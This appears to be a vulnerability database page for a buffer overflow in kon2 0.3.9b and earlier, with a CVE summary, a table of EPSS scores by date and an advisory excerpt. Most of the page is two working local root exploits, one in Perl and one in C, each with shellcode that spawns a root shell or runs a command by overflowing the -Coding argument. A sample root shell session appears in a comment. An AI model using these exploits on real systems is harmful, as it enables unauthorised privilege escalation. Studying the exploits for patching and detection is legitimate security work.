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Buffer overflow in KON kon2 0.3.9b and earlier allows local users to execute arbitrary code via a long -Coding command line argument.
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EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.9%
–
–
2022-04-03
–
–
1.9%
–
–
2022-04-24
–
–
1.9%
–
–
2022-09-11
–
–
1.9%
–
–
2023-03-12
–
–
–
0.04%
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2024-06-02
–
–
–
0.04%
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2025-01-19
–
–
–
0.04%
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2025-03-18
–
–
–
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0.13%
2025-03-30
–
–
–
–
0.13%
2025-04-15
–
–
–
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0.13%
2025-04-15
–
–
–
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0.13,%
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source: https://www.securityfocus.com/bid/7790/info
A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.
The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.
#!/usr/bin/perl
####################################################################################
#Priv8security.com kon2 version 0.3.9b-16 and < local root exploit.
#
# Tested on Redhat 8.0. should work on 9.0 and 7.3
# Bug happens on -Coding arg.
# Based on Redhat Advisory.
#
# [wsxz@localhost buffer]$ perl priv8kon.pl
# -=[ Priv8security.com kon local root exploit ]=-
# usage: priv8kon.pl offset
# [+] Using ret shellcode 0xbfffffc6
# Kanji ON Console ver.0.3.9 (2000/04/09)
#
# KON> video type 'VGA' selected
# KON> hardware scroll mode.
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=500(wsxz)
####################################################################################
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path = "/usr/bin/kon";
$ret = 0xbffffffa - length($shellcode) - length($path);
$offset = $ARGV[0];
print "-=[ Priv8security.com kon2 local root exploit ]=-\n";
print "usage: $0 offset\n";
printf("[+] Using ret shellcode 0x%x\n",$ret + $offset);
$new_retword = pack('l', ($ret + $offset));
$buffer2 = "A" x 796;
$buffer2 .= $new_retword;
$buffer = $shellcode;
local($ENV{'WSXZ'}) = $buffer;
exec("$path -Coding $buffer2");
// source: https://www.securityfocus.com/bid/7790/info
A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.
The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.
/*
* Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0
*
* http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html
*
* The original bug was found by wszx for RedHat 8.0 - Ported to C
*
* Compile: gcc -Wall kon2root kon2root.c
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define NOP 0x90
#define RET 0xbffffffa
#define VULN "/usr/bin/kon"
#define MAXBUF 800
static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07
\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
\xdc\xff"
"\xff\xff/bin/id";
int main()
{
int i, *egg;
long retaddr;
static char buff[MAXBUF];
static char *sploit[0x02] = { w00tI4r3l33t, NULL };
fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]
\n", VULN);
fprintf (stdout, "[ Coded by c0ntex - http://62.31.72.168 ]\n");
fprintf (stdout, "[ For Linux RedHat v9 x86 - Ret_Addr
0xbffffffa ]\n\n\n\n");
if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !
= 0x00) {
egg = (int *)(buff);
}
for(i = 0x00; i < MAXBUF; i += 0x04)
*(egg)++ = retaddr; *(egg) = NOP;
execle(VULN, VULN, "-Coding", buff, NULL, sploit);
return(0x00);
}